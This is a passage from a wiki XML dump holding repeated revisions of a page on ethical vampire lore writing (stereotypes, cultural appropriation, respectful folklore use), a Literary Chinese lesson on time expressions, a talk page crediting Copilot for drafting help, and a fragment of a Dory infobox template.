Problems occur when cultural borrowing is unacknowledged, or when borrowed information is used in an inappropriate manner. &lt;br&gt;
&lt;br&gt;
Memes occur when people imitate the behaviors of other people without truly understanding that behavior. For unconscious reasons, that behavior, or idea spreads. &lt;br&gt;
&lt;br&gt;
The entire lore that surrounds the vampire seems like cultural appropriation from the Romanian people who did historically suffer, as a group, from grave robbery. The actual accounts of people who were mistaken for vampires, fed folk stories and modern legends. &lt;br&gt;
&lt;br&gt;
  
=== Reference: ===
1. Oxford Learner's Dictionaries stereotype September 16, 2026 In https://www.oxfordlearnersdictionaries.com/definition/american_english/stereotype_1 
&lt;br&gt;
2. &quot;Stereotype&quot; August 30, 2026. In Wikipedia https://en.wikipedia.org/wiki/Stereotype &lt;br&gt;
&lt;br&gt;
3.  Meyer, David G. (2008). Intuition: Its Powers and Perils. Yale University Press. pp. 114–115. ISBN 978-0-300-13027-0 &lt;br&gt;
&lt;br&gt;
4. &quot;Cultural appropriation&quot; September 8, 2026. In Wikipedia https://en.wikipedia.org/wiki/Cultural_appropriation</text>
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      <text bytes="3836" sha1="r02qmrmt9e2m2n3vquy6nwnvhe60z4e" xml:space="preserve">== The Ethics of Creating Vampire Lore ==
When writing about vampires in your fictional narratives, try to
avoid using harmful stereotypes or cultural appropriations. &lt;br&gt;
&lt;br&gt;
Stereotypes are widely held, fixed, and oversimplified beliefs or mental images about a particular group of people. [1] &lt;br&gt;
&lt;br&gt;
According to Wikipedia: &lt;br&gt;
It is an expectation that people might have about every person of a particular group. The type of expectation can vary; it can be, for example, an expectation about the group's personality, preferences, appearance or ability. [2] &lt;br&gt;

Stereotypes are often faulty and resistant to new information. [3] &lt;br&gt;
&lt;br&gt;
People who use stereotypes rely of their previous knowledge about a person, information they then project onto an entire group. This can lead to hasty generalizations when they meet new people in that said group. &lt;br&gt;
&lt;br&gt;
Negative stereotypes should be used with caution. They can lead to prejudice, discrimination and unfair judgment. &lt;br&gt;
&lt;br&gt;
If you think all vampires are white, blood-thirsty decomposing demons from hell, then perhaps you should read more books, and watch more films about vampires. &lt;br&gt;
&lt;br&gt;
In the case of the Vampire Disease, also known as porphyria, Medical Doctors wrote about patients who became depressed by reports in the media linking porphyria, their illness, with vampirism. In this case, negative stereotypes could lead to unfair judgements. &lt;br&gt;
&lt;br&gt;
According to Wikipedia: &lt;br&gt;
Cultural appropriation is an adoption of an element or elements of culture or identity by members of another culture or identity in a manner perceived as inappropriate or unacknowledged. Charges of cultural appropriation typically arise when members of a dominant culture borrow from minority cultures. Cultural appropriation can include the adoption of another culture's religious and cultural traditions, customs, dance steps, fashion, symbols, language, history and music. &lt;br&gt;
&lt;br&gt;
Problems occur when cultural borrowing is unacknowledged, or when borrowed information is used in an inappropriate manner. &lt;br&gt;
&lt;br&gt;
Memes occur when people imitate the behaviors of other people without truly understanding that behavior. For unconscious reasons, that behavior, or idea spreads. &lt;br&gt;
&lt;br&gt;
The entire lore that surrounds the vampire seems like cultural appropriation from the Romanian people who did historically suffer, as a group, from grave robbery. The actual accounts of people who were mistaken for vampires, fed folk stories and modern legends. &lt;br&gt;
&lt;br&gt;
=== Respectful use of folklore? ===
How can writers use folklore respectfully? 
Writers could acknowledge the people who created and kept their folklore alive. By acknowledging the folks who shared their cautionary tales, we share their perspectives, and our stories gain diversity. By acknowledging each storyteller, we show respect. We should honor their stories as they honor their ancestors' stories. &lt;br&gt;
&lt;br&gt;
When writers treat folklore as cultural memory, they acknowledge the grief, fears, community protection, and spiritual beliefs of the people who carried it. &lt;br&gt;
These vampire stories come from people, from Slavic, Caribbean, Filipino, Chinese, Indigenous, African — People.
These ancestor stories are other people's attempt to explain illness, death, or danger.  &lt;br&gt;
&lt;br&gt;
=== Reference: ===
1. Oxford Learner's Dictionaries stereotype September 16, 2026 In https://www.oxfordlearnersdictionaries.com/definition/american_english/stereotype_1 
&lt;br&gt;
2. &quot;Stereotype&quot; August 30, 2026. In Wikipedia https://en.wikipedia.org/wiki/Stereotype &lt;br&gt;
&lt;br&gt;
3.  Meyer, David G. (2008). Intuition: Its Powers and Perils. Yale University Press. pp. 114–115. ISBN 978-0-300-13027-0 &lt;br&gt;
&lt;br&gt;
4. &quot;Cultural appropriation&quot; September 8, 2026. In Wikipedia https://en.wikipedia.org/wiki/Cultural_appropriation</text>
      <sha1>r02qmrmt9e2m2n3vquy6nwnvhe60z4e</sha1>
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      <text bytes="3839" sha1="b67u9ybn6sj4tbbs2b1em722kjq3k38" xml:space="preserve">== The Ethics of Creating Vampire Lore ==
When writing about vampires in your fictional narratives, try to
avoid using harmful stereotypes or cultural appropriations. &lt;br&gt;
&lt;br&gt;
Stereotypes are widely held, fixed, and oversimplified beliefs or mental images about a particular group of people. [1] &lt;br&gt;
&lt;br&gt;
According to Wikipedia: &lt;br&gt;
It is an expectation that people might have about every person of a particular group. The type of expectation can vary; it can be, for example, an expectation about the group's personality, preferences, appearance or ability. [2] &lt;br&gt;

Stereotypes are often faulty and resistant to new information. [3] &lt;br&gt;
&lt;br&gt;
People who use stereotypes rely of their previous knowledge about a person, information they then project onto an entire group. This can lead to hasty generalizations when they meet new people in that said group. &lt;br&gt;
&lt;br&gt;
Negative stereotypes should be used with caution. They can lead to prejudice, discrimination and unfair judgment. &lt;br&gt;
&lt;br&gt;
If you think all vampires are white, blood-thirsty decomposing demons from hell, then perhaps you should read more books, and watch more films about vampires. &lt;br&gt;
&lt;br&gt;
In the case of the Vampire Disease, also known as porphyria, Medical Doctors wrote about patients who became depressed by reports in the media linking porphyria, their illness, with vampirism. In this case, negative stereotypes could lead to unfair judgements. &lt;br&gt;
&lt;br&gt;
According to Wikipedia: &lt;br&gt;
Cultural appropriation is an adoption of an element or elements of culture or identity by members of another culture or identity in a manner perceived as inappropriate or unacknowledged. Charges of cultural appropriation typically arise when members of a dominant culture borrow from minority cultures. Cultural appropriation can include the adoption of another culture's religious and cultural traditions, customs, dance steps, fashion, symbols, language, history and music. [4]&lt;br&gt;
&lt;br&gt;
Problems occur when cultural borrowing is unacknowledged, or when borrowed information is used in an inappropriate manner. &lt;br&gt;
&lt;br&gt;
Memes occur when people imitate the behaviors of other people without truly understanding that behavior. For unconscious reasons, that behavior, or idea spreads. &lt;br&gt;
&lt;br&gt;
The entire lore that surrounds the vampire seems like cultural appropriation from the Romanian people who did historically suffer, as a group, from grave robbery. The actual accounts of people who were mistaken for vampires, fed folk stories and modern legends. &lt;br&gt;
&lt;br&gt;
=== Respectful use of folklore? ===
How can writers use folklore respectfully? 
Writers could acknowledge the people who created and kept their folklore alive. By acknowledging the folks who shared their cautionary tales, we share their perspectives, and our stories gain diversity. By acknowledging each storyteller, we show respect. We should honor their stories as they honor their ancestors' stories. &lt;br&gt;
&lt;br&gt;
When writers treat folklore as cultural memory, they acknowledge the grief, fears, community protection, and spiritual beliefs of the people who carried it. &lt;br&gt;
These vampire stories come from people, from Slavic, Caribbean, Filipino, Chinese, Indigenous, African — People.
These ancestor stories are other people's attempt to explain illness, death, or danger.  &lt;br&gt;
&lt;br&gt;
=== Reference: ===
1. Oxford Learner's Dictionaries stereotype September 16, 2026 In https://www.oxfordlearnersdictionaries.com/definition/american_english/stereotype_1 
&lt;br&gt;
2. &quot;Stereotype&quot; August 30, 2026. In Wikipedia https://en.wikipedia.org/wiki/Stereotype &lt;br&gt;
&lt;br&gt;
3.  Meyer, David G. (2008). Intuition: Its Powers and Perils. Yale University Press. pp. 114–115. ISBN 978-0-300-13027-0 &lt;br&gt;
&lt;br&gt;
4. &quot;Cultural appropriation&quot; September 8, 2026. In Wikipedia https://en.wikipedia.org/wiki/Cultural_appropriation</text>
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      <text bytes="4267" sha1="asum592hppw83q8jh1fceoq0tyvq783" xml:space="preserve">== The Ethics of Creating Vampire Lore ==
When writing about vampires in your fictional narratives, try to
avoid using harmful stereotypes or cultural appropriations. &lt;br&gt;
&lt;br&gt;
Stereotypes are widely held, fixed, and oversimplified beliefs or mental images about a particular group of people. [1] &lt;br&gt;
&lt;br&gt;
According to Wikipedia: &lt;br&gt;
It is an expectation that people might have about every person of a particular group. The type of expectation can vary; it can be, for example, an expectation about the group's personality, preferences, appearance or ability. [2] &lt;br&gt;

Stereotypes are often faulty and resistant to new information. [3] &lt;br&gt;
&lt;br&gt;
People who use stereotypes rely of their previous knowledge about a person, information they then project onto an entire group. This can lead to hasty generalizations when they meet new people in that said group. &lt;br&gt;
&lt;br&gt;
Negative stereotypes should be used with caution. They can lead to prejudice, discrimination and unfair judgment. &lt;br&gt;
&lt;br&gt;
If you think all vampires are white, blood-thirsty decomposing demons from hell, then perhaps you should read more books, and watch more films about vampires. &lt;br&gt;
&lt;br&gt;
In the case of the Vampire Disease, also known as porphyria, Medical Doctors wrote about patients who became depressed by reports in the media linking porphyria, their illness, with vampirism. In this case, negative stereotypes could lead to unfair judgements. &lt;br&gt;
&lt;br&gt;
According to Wikipedia: &lt;br&gt;
Cultural appropriation is an adoption of an element or elements of culture or identity by members of another culture or identity in a manner perceived as inappropriate or unacknowledged. Charges of cultural appropriation typically arise when members of a dominant culture borrow from minority cultures. Cultural appropriation can include the adoption of another culture's religious and cultural traditions, customs, dance steps, fashion, symbols, language, history and music. [4]&lt;br&gt;
&lt;br&gt;
Problems occur when cultural borrowing is unacknowledged, or when borrowed information is used in an inappropriate manner. &lt;br&gt;
&lt;br&gt;
Memes occur when people imitate the behaviors of other people without truly understanding that behavior. For unconscious reasons, that behavior, or idea spreads. &lt;br&gt;
&lt;br&gt;
The entire lore that surrounds the vampire seems like cultural appropriation from the Romanian people who did historically suffer, as a group, from grave robbery. The actual accounts of people who were mistaken for vampires, fed folk stories and modern legends. &lt;br&gt;
&lt;br&gt;
=== Respectful use of folklore? ===
How can writers use folklore respectfully? 
Writers could acknowledge the people who created and kept their folklore alive. By acknowledging the folks who shared their cautionary tales, we share their perspectives, and our stories gain diversity. By acknowledging each storyteller, we show respect. We should honor their stories as they honor their ancestors' stories. &lt;br&gt;
&lt;br&gt;
When writers treat folklore as cultural memory, they acknowledge the grief, fears, community protection, and spiritual beliefs of the people who carried it. &lt;br&gt;
These vampire stories come from people, from Slavic, Caribbean, Filipino, Chinese, Indigenous, African — People.
These ancestor stories are other people's attempt to explain illness, death, or danger.  &lt;br&gt;
&lt;br&gt;
Unethical use of folklore looks like: using stereotypes, treating traditions as interchangeable with each other, removing cultural context, claiming “ownership” of a culture’s monster

Ethical vampire lore: avoids stereotypes, preserves meaning, respects the original purpose of the tale, keeps cultural details, acknowledges the source of the story, shares ownership of a monster that can transcend cultural boundaries.

=== Reference: ===
1. Oxford Learner's Dictionaries stereotype September 16, 2026 In https://www.oxfordlearnersdictionaries.com/definition/american_english/stereotype_1 
&lt;br&gt;
2. &quot;Stereotype&quot; August 30, 2026. In Wikipedia https://en.wikipedia.org/wiki/Stereotype &lt;br&gt;
&lt;br&gt;
3.  Meyer, David G. (2008). Intuition: Its Powers and Perils. Yale University Press. pp. 114–115. ISBN 978-0-300-13027-0 &lt;br&gt;
&lt;br&gt;
4. &quot;Cultural appropriation&quot; September 8, 2026. In Wikipedia https://en.wikipedia.org/wiki/Cultural_appropriation</text>
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      <text bytes="4268" sha1="jp8i9nfuu3z4aar0p12e7080fe2kg9u" xml:space="preserve">== The Ethics of Creating Vampire Lore ==
When writing about vampires in your fictional narratives, try to
avoid using harmful stereotypes or cultural appropriations. &lt;br&gt;
&lt;br&gt;
Stereotypes are widely held, fixed, and oversimplified beliefs or mental images about a particular group of people. [1] &lt;br&gt;
&lt;br&gt;
According to Wikipedia: &lt;br&gt;
It is an expectation that people might have about every person of a particular group. The type of expectation can vary; it can be, for example, an expectation about the group's personality, preferences, appearance or ability. [2] &lt;br&gt;

Stereotypes are often faulty and resistant to new information. [3] &lt;br&gt;
&lt;br&gt;
People who use stereotypes rely of their previous knowledge about a person, information they then project onto an entire group. This can lead to hasty generalizations when they meet new people in that said group. &lt;br&gt;
&lt;br&gt;
Negative stereotypes should be used with caution. They can lead to prejudice, discrimination and unfair judgment. &lt;br&gt;
&lt;br&gt;
If you think all vampires are white, blood-thirsty decomposing demons from hell, then perhaps you should read more books, and watch more films about vampires. &lt;br&gt;
&lt;br&gt;
In the case of the Vampire Disease, also known as porphyria, Medical Doctors wrote about patients who became depressed by reports in the media linking porphyria, their illness, with vampirism. In this case, negative stereotypes could lead to unfair judgements. &lt;br&gt;
&lt;br&gt;
According to Wikipedia: &lt;br&gt;
Cultural appropriation is an adoption of an element or elements of culture or identity by members of another culture or identity in a manner perceived as inappropriate or unacknowledged. Charges of cultural appropriation typically arise when members of a dominant culture borrow from minority cultures. Cultural appropriation can include the adoption of another culture's religious and cultural traditions, customs, dance steps, fashion, symbols, language, history and music. [4]&lt;br&gt;
&lt;br&gt;
Problems occur when cultural borrowing is unacknowledged, or when borrowed information is used in an inappropriate manner. &lt;br&gt;
&lt;br&gt;
Memes occur when people imitate the behaviors of other people without truly understanding that behavior. For unconscious reasons, that behavior, or idea spreads. &lt;br&gt;
&lt;br&gt;
The entire lore that surrounds the vampire seems like cultural appropriation from the Romanian people who did historically suffer, as a group, from grave robbery. The actual accounts of people who were mistaken for vampires, fed folk stories and modern legends. &lt;br&gt;
&lt;br&gt;
=== Respectful use of folklore? ===
How can writers use folklore respectfully? 
Writers could acknowledge the people who created and kept their folklore alive. By acknowledging the folks who shared their cautionary tales, we share their perspectives, and our stories gain diversity. By acknowledging each storyteller, we show respect. We should honor their stories as they honor their ancestors' stories. &lt;br&gt;
&lt;br&gt;
When writers treat folklore as cultural memory, they acknowledge the grief, fears, community protection, and spiritual beliefs of the people who carried it. &lt;br&gt;
These vampire stories come from people, from Slavic, Caribbean, Filipino, Chinese, Indigenous, African — People.
These ancestor stories are other people's attempt to explain illness, death, or danger.  &lt;br&gt;
&lt;br&gt;
Unethical use of folklore looks like: using stereotypes, treating traditions as interchangeable with each other, removing cultural context, claiming “ownership” of a culture’s monster.

Ethical vampire lore: avoids stereotypes, preserves meaning, respects the original purpose of the tale, keeps cultural details, acknowledges the source of the story, shares ownership of a monster that can transcend cultural boundaries.

=== Reference: ===
1. Oxford Learner's Dictionaries stereotype September 16, 2026 In https://www.oxfordlearnersdictionaries.com/definition/american_english/stereotype_1 
&lt;br&gt;
2. &quot;Stereotype&quot; August 30, 2026. In Wikipedia https://en.wikipedia.org/wiki/Stereotype &lt;br&gt;
&lt;br&gt;
3.  Meyer, David G. (2008). Intuition: Its Powers and Perils. Yale University Press. pp. 114–115. ISBN 978-0-300-13027-0 &lt;br&gt;
&lt;br&gt;
4. &quot;Cultural appropriation&quot; September 8, 2026. In Wikipedia https://en.wikipedia.org/wiki/Cultural_appropriation</text>
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      <text bytes="4355" sha1="jkf35fvdgiihzz852n7ke0yskk9xfxm" xml:space="preserve">== The Ethics of Creating Vampire Lore ==
When writing about vampires in your fictional narratives, try to
avoid using harmful stereotypes or cultural appropriations. &lt;br&gt;
&lt;br&gt;
Stereotypes are widely held, fixed, and oversimplified beliefs or mental images about a particular group of people. [1] &lt;br&gt;
&lt;br&gt;
According to Wikipedia: &lt;br&gt;
It is an expectation that people might have about every person of a particular group. The type of expectation can vary; it can be, for example, an expectation about the group's personality, preferences, appearance or ability. [2] &lt;br&gt;

Stereotypes are often faulty and resistant to new information. [3] &lt;br&gt;
&lt;br&gt;
People who use stereotypes rely of their previous knowledge about a person, information they then project onto an entire group. This can lead to hasty generalizations when they meet new people in that said group. &lt;br&gt;
&lt;br&gt;
Negative stereotypes should be used with caution. They can lead to prejudice, discrimination and unfair judgment. &lt;br&gt;
&lt;br&gt;
If you think all vampires are white, blood-thirsty decomposing demons from hell, then perhaps you should read more books, and watch more films about vampires. &lt;br&gt;
&lt;br&gt;
In the case of the Vampire Disease, also known as porphyria, Medical Doctors wrote about patients who became depressed by reports in the media linking porphyria, their illness, with vampirism. In this case, negative stereotypes could lead to unfair judgements. &lt;br&gt;
&lt;br&gt;
According to Wikipedia: &lt;br&gt;
Cultural appropriation is an adoption of an element or elements of culture or identity by members of another culture or identity in a manner perceived as inappropriate or unacknowledged. Charges of cultural appropriation typically arise when members of a dominant culture borrow from minority cultures. Cultural appropriation can include the adoption of another culture's religious and cultural traditions, customs, dance steps, fashion, symbols, language, history and music. [4]&lt;br&gt;
&lt;br&gt;
Problems occur when cultural borrowing is unacknowledged, or when borrowed information is used in an inappropriate manner. &lt;br&gt;
&lt;br&gt;
Memes occur when people imitate the behaviors of other people without truly understanding that behavior. For unconscious reasons, that behavior, or idea spreads. &lt;br&gt;
&lt;br&gt;
The entire lore that surrounds the vampire seems like cultural appropriation from the Romanian people who did historically suffer, as a group, from grave robbery. The actual accounts of people who were mistaken for vampires, fed folk stories and modern legends. &lt;br&gt;
&lt;br&gt;
=== Respectful use of folklore? ===
How can writers use folklore respectfully? 
Writers could acknowledge the people who created and kept their folklore alive. By acknowledging the folks who shared their cautionary tales, we share their perspectives, and our stories gain diversity. By acknowledging each storyteller, we show respect. We should honor their stories as they honor their ancestors' stories. &lt;br&gt;
&lt;br&gt;
This section was ''developed'' by the writer using '''digital tools''': &lt;br&gt;
&lt;br&gt;
When writers treat folklore as cultural memory, they acknowledge the grief, fears, community protection, and spiritual beliefs of the people who carried it. &lt;br&gt;
&lt;br&gt;
These vampire stories come from people, from Slavic, Caribbean, Filipino, Chinese, Indigenous, African — People.
These ancestor stories are other people's attempt to explain illness, death, or danger.  &lt;br&gt;
&lt;br&gt;
Unethical use of folklore looks like: using stereotypes, treating traditions as interchangeable with each other, removing cultural context, claiming “ownership” of a culture’s monster.

Ethical vampire lore: avoids stereotypes, preserves meaning, respects the original purpose of the tale, keeps cultural details, acknowledges the source of the story, shares ownership of a monster that can transcend cultural boundaries.

=== Reference: ===
1. Oxford Learner's Dictionaries stereotype September 16, 2026 In https://www.oxfordlearnersdictionaries.com/definition/american_english/stereotype_1 
&lt;br&gt;
2. &quot;Stereotype&quot; August 30, 2026. In Wikipedia https://en.wikipedia.org/wiki/Stereotype &lt;br&gt;
&lt;br&gt;
3.  Meyer, David G. (2008). Intuition: Its Powers and Perils. Yale University Press. pp. 114–115. ISBN 978-0-300-13027-0 &lt;br&gt;
&lt;br&gt;
4. &quot;Cultural appropriation&quot; September 8, 2026. In Wikipedia https://en.wikipedia.org/wiki/Cultural_appropriation</text>
      <sha1>jkf35fvdgiihzz852n7ke0yskk9xfxm</sha1>
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      <text bytes="4465" sha1="89ou1etk91yk4x0mftvov80pbk6oiei" xml:space="preserve">== The Ethics of Creating Vampire Lore ==
When writing about vampires in your fictional narratives, try to
avoid using harmful stereotypes or cultural appropriations. &lt;br&gt;
&lt;br&gt;
Stereotypes are widely held, fixed, and oversimplified beliefs or mental images about a particular group of people. [1] &lt;br&gt;
&lt;br&gt;
According to Wikipedia: &lt;br&gt;
It is an expectation that people might have about every person of a particular group. The type of expectation can vary; it can be, for example, an expectation about the group's personality, preferences, appearance or ability. [2] &lt;br&gt;

Stereotypes are often faulty and resistant to new information. [3] &lt;br&gt;
&lt;br&gt;
People who use stereotypes rely of their previous knowledge about a person, information they then project onto an entire group. This can lead to hasty generalizations when they meet new people in that said group. &lt;br&gt;
&lt;br&gt;
Negative stereotypes should be used with caution. They can lead to prejudice, discrimination and unfair judgment. &lt;br&gt;
&lt;br&gt;
If you think all vampires are white, blood-thirsty decomposing demons from hell, then perhaps you should read more books, and watch more films about vampires. &lt;br&gt;
&lt;br&gt;
In the case of the Vampire Disease, also known as porphyria, Medical Doctors wrote about patients who became depressed by reports in the media linking porphyria, their illness, with vampirism. In this case, negative stereotypes could lead to unfair judgements. &lt;br&gt;
&lt;br&gt;
According to Wikipedia: &lt;br&gt;
Cultural appropriation is an adoption of an element or elements of culture or identity by members of another culture or identity in a manner perceived as inappropriate or unacknowledged. Charges of cultural appropriation typically arise when members of a dominant culture borrow from minority cultures. Cultural appropriation can include the adoption of another culture's religious and cultural traditions, customs, dance steps, fashion, symbols, language, history and music. [4]&lt;br&gt;
&lt;br&gt;
Problems occur when cultural borrowing is unacknowledged, or when borrowed information is used in an inappropriate manner. &lt;br&gt;
&lt;br&gt;
Memes occur when people imitate the behaviors of other people without truly understanding that behavior. For unconscious reasons, that behavior, or idea spreads. &lt;br&gt;
&lt;br&gt;
The entire lore that surrounds the vampire seems like cultural appropriation from the Romanian people who did historically suffer, as a group, from grave robbery. The actual accounts of people who were mistaken for vampires, fed folk stories and modern legends. &lt;br&gt;
&lt;br&gt;
=== Respectful use of folklore? ===
How can writers use folklore respectfully? 
Writers could acknowledge the people who created and kept their folklore alive. By acknowledging the folks who shared their cautionary tales, we share their perspectives, and our stories gain diversity. By acknowledging each storyteller, we show respect. We should honor their stories as they honor their ancestors' stories. &lt;br&gt;
&lt;br&gt;
This section was ''developed'' by the writer using '''digital tools''': &lt;br&gt;
&lt;br&gt;
When writers treat folklore as cultural memory, they acknowledge the grief, fears, community protection, and spiritual beliefs of the people who carried it. &lt;br&gt;
&lt;br&gt;
These vampire stories come from people, from Slavic, Caribbean, Filipino, Chinese, Indigenous, African — People.
These ancestor stories are other people's attempt to explain illness, death, or danger.  &lt;br&gt;
&lt;br&gt;
Unethical use of folklore looks like: using stereotypes, treating traditions as interchangeable with each other, removing cultural context, claiming “ownership” of a culture’s monster.

Ethical vampire lore: avoids stereotypes, preserves meaning, respects the original purpose of the tale, keeps cultural details, acknowledges the source of the story, shares ownership of a monster that can transcend cultural boundaries.
&lt;br&gt;
&lt;br&gt;
Link: https://en.wikibooks.org/wiki/Create_Vampires_/All_About_Vampires#All_About_Vampires
&lt;br&gt;
&lt;br&gt;
=== Reference: ===
1. Oxford Learner's Dictionaries stereotype September 16, 2026 In https://www.oxfordlearnersdictionaries.com/definition/american_english/stereotype_1 
&lt;br&gt;
2. &quot;Stereotype&quot; August 30, 2026. In Wikipedia https://en.wikipedia.org/wiki/Stereotype &lt;br&gt;
&lt;br&gt;
3.  Meyer, David G. (2008). Intuition: Its Powers and Perils. Yale University Press. pp. 114–115. ISBN 978-0-300-13027-0 &lt;br&gt;
&lt;br&gt;
4. &quot;Cultural appropriation&quot; September 8, 2026. In Wikipedia https://en.wikipedia.org/wiki/Cultural_appropriation</text>
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  <page>
    <title>General Literary Chinese from Scratch/How Much Time, Exactly?</title>
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      <id>4670432</id>
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      <comment>Created page with &quot;In the last lesson, you learned how to express a time in which you did something. But now, we have to consider: For how long was something done? In English, we pay considerable attention to this, but in Literary Chinese, it is decently straightforward.  This lesson will be particularly dry, but contain numerous basic items that I want you to practice individually for a time. Right now, you probably feel at least a little bit restricted. This is where you will go from bas...&quot;</comment>
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      <text bytes="4225" sha1="sgt684lws9gi5z7k8w8lzfyrdhf6uy2" xml:space="preserve">In the last lesson, you learned how to express a time in which you did something. But now, we have to consider: For how long was something done? In English, we pay considerable attention to this, but in Literary Chinese, it is decently straightforward.

This lesson will be particularly dry, but contain numerous basic items that I want you to practice individually for a time. Right now, you probably feel at least a little bit restricted. This is where you will go from basic constructions to equally basic prose.

==Core patterns==
There are two broad patterns here.

===Doing X for Y amount of time===
&lt;blockquote&gt;
Verb + Time frame
&lt;/blockquote&gt;
This will express &quot;someone did X for Y amount of time.&quot; Let's put this into practice:
&lt;blockquote&gt;
居三年&lt;br&gt;
[someone] lived [there] for three years.
&lt;/blockquote&gt;
Can you figure out which character is for living somewhere?

Here are some useful words for this pattern:
* 日 - Day
* 旬 - 10-day week
* 月 - Month
* 年 or 歲 - Year. 紀 can be used for the ritualistic sense.
* 夜 - Night, often used over 日. Opposite is 晝, daytime.
You can substitute 年 for any of these words and be fine; you can probably even find more!

Now, what if we wanted to express doing something &quot;after&quot; a period of time? This is where 而 comes in. 

===Using 而===
而 is a very flexible word that generally means &quot;then.&quot; It can have a contrastive tone, sort of like &quot;but,&quot; though here, it is just a general term.

&lt;blockquote&gt;
Time frame + 而 + Verb
&lt;/blockquote&gt;

Putting this into a phrase:
&lt;blockquote&gt;
居三年而往&lt;br&gt;
[someone] lived [there] for 3 years, then left.
&lt;/blockquote&gt;
If you want to add an &quot;only&quot; after factor for emphasis, you can use 乃 as well, which carries a similar meaning to 而, but has a more temporal relation: 
&lt;blockquote&gt;
居三年乃往&lt;br&gt;
Only after living [there] for 3 years did they leave.
&lt;/blockquote&gt;
Their meaning is not super different, so you can consider them interchangable. You can think of 往 as the opposite of 來: 來 is to come, 往 is to go. 

You can use these characters for virtually any scenario beyond this; these are very high-usage words and can get you extending your sentences very quickly.

===Using 先===
But what about times before an event? This is where 先 comes in. Technically, it means &quot;first,&quot; but can be extended into myriad phrases. 

&lt;blockquote&gt;
先 + Event + Time frame
&lt;/blockquote&gt; 
Technically, this can be any event. Therefore, something like 行周 &quot;walk to Zhou&quot; can be perfectly fine here:
&lt;blockquote&gt;
先行周一日，備十杏。&lt;br&gt;
One day before going to Zhou, [someone] prepared ten fruits.
&lt;/blockquote&gt;

If one is uncertain about the amount of time, 餘 can add the sense of &quot;X odd Y&quot;. We also do not need to add time after a phrase with 先. 
&lt;blockquote&gt;
先備十杏，備五餘果
&lt;/blockquote&gt;
You can likely figure out what this is from context: You know these words now!

If you want to refer back to an event you have already mentioned, you can use 是, which means &quot;this&quot; in a very broad sense. Taking our previous example:
&lt;blockquote&gt;
先是備五餘果
&lt;/blockquote&gt;
Use this to optimise your writing. 

==Practice==
Get out your dictionary and find some words relevant to you. As you are a beginner, I recommend this one, especially if you have Pleco:
&lt;blockquote&gt;
Kroll, P. W., Baxter, W. H., Boltz, W. G., Knechtges, D. R., Lien, Y. E., Richter, A., Richter, M. L., &amp; Warner, D. X. (2017). A student’s dictionary of classical and medieval Chinese (S. F. Teiser, M. Kern, &amp; T. Brook, Eds; Revised edition). Brill. 978-90-04-32513-5 
&lt;/blockquote&gt;

Next, write using the new items you have learned here, to discuss something you are interested in.

==References==
* Barnes, A. C., Starr, D., &amp; Ormerod, G. (2009). Du’s handbook of classical Chinese grammar: An introduction to classical Chinese grammar. Alcuin Academics.
* Kroll, P. W., Baxter, W. H., Boltz, W. G., Knechtges, D. R., Lien, Y. E., Richter, A., Richter, M. L., &amp; Warner, D. X. (2017). A student’s dictionary of classical and medieval Chinese (S. F. Teiser, M. Kern, &amp; T. Brook, Eds; Revised edition). Brill.
* Pulleyblank, E. G. (2000). Outline of classical Chinese grammar (Repr). UBC Press.</text>
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  <page>
    <title>Talk:Create Vampires/Ethics Of Creating Vampire Lore</title>
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    <revision>
      <id>4670448</id>
      <timestamp>2026-09-16T15:42:43Z</timestamp>
      <contributor>
        <username>3MMPEYTON</username>
        <id>3393808</id>
      </contributor>
      <comment>/* Copilot AI Use */ new section</comment>
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      <text bytes="1866" sha1="mu7w9txp75n4u49mibnbn1zbl2cmfhk" xml:space="preserve">== Copilot AI Use ==
Date: September 16, 2026 &lt;br&gt;
Tool used: Microsoft Copilot (AGI) &lt;br&gt;
Human: Minda Peyton &lt;br&gt;
Prompt: Morning Copilot. I want to explore the ethics of creating vampire lore. I sorta understand the respectful use of folklore. What do you think? Writers could acknowledge the people who created and maintain their folklore. By acknowledging the folks who shared their cautionary tales, we share their perspectives, and our stories gain diversity. By acknowledging each storyteller, we show respect. We should honor their stories as they honor their ancestors' stories. &lt;br&gt;
Copilot then generated / responded to my prompt. &lt;br&gt;
Every vampire tradition — Slavic, Caribbean, Filipino, Chinese, Indigenous, African — comes from: &lt;br&gt;
grief &lt;br&gt;
caution &lt;br&gt;
community protection &lt;br&gt;
spiritual beliefs &lt;br&gt;
ancestral stories &lt;br&gt;
attempts to explain illness, death, or danger &lt;br&gt;
When writers treat folklore as “free content,” they flatten the meaning. &lt;br&gt;
When writers treat folklore as cultural memory, they honor the people who carried it. &lt;br&gt;
&lt;br&gt;
&lt;br&gt;
Unethical use of folklore looks like: &lt;br&gt;
turning sacred stories into entertainment &lt;br&gt;
removing cultural context &lt;br&gt;
using stereotypes &lt;br&gt;
treating traditions as interchangeable &lt;br&gt;
claiming “ownership” of a culture’s monster &lt;br&gt;
Ethical vampire lore: &lt;br&gt;
keeps cultural specificity &lt;br&gt;
preserves meaning &lt;br&gt;
avoids stereotypes &lt;br&gt;
respects the original purpose of the tale &lt;br&gt;
acknowledges the source &lt;br&gt;
&lt;br&gt;
I decided the information from the prompt was important, and should be included in the section: Ethics Of Creating Vampire Lore. &lt;br&gt;
I then rewrote the data, and am crediting Copilot AI's contributions. &lt;br&gt; [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 15:42, 16 September 2026 (UTC)</text>
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      <comment>Created page with &quot;just keep on swimming!🐟🐟🐟{{Infobox | bodystyle   = background: #0072CE; border: 3px solid #0055A5; color: #FFFFFF; font-family: sans-serif; width: 260px; | abovestyle  = background: #FFE600; color: #000000; font-size: 120%;  | above       = {{{name|Dory}}}  | imagestyle  = background: #0055A5; padding: 5px;  | image       = {{#if:{{{image|}}} | [[File:{{{image}}}|220px]] | [[File:Paracanthurus hepatus.jpg|220px]]}} | caption     = &lt;span style=&quot;color: #FFE600; fo...&quot;</comment>
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      <text bytes="1009" sha1="faixqchc7ttlmrzrz3phatf5std558a" xml:space="preserve">just keep on swimming!🐟🐟🐟{{Infobox
| bodystyle   = background: #0072CE; border: 3px solid #0055A5; color: #FFFFFF; font-family: sans-serif; width: 260px;
| abovestyle  = background: #FFE600; color: #000000; font-size: 120%;

| above       = {{{name|Dory}}}

| imagestyle  = background: #0055A5; padding: 5px;

| image       = {{#if:{{{image|}}} | [[File:{{{image}}}|220px]] | [[File:Paracanthurus hepatus.jpg|220px]]}}
| caption     = &lt;span style=&quot;color: #FFE600; font-style: italic;&quot;&gt;&quot;{{{quote|Just keep swimming!}}}&quot;&lt;/span&gt;

| headerstyle = background: #0055A5; color: #FFE600; text-align: left;
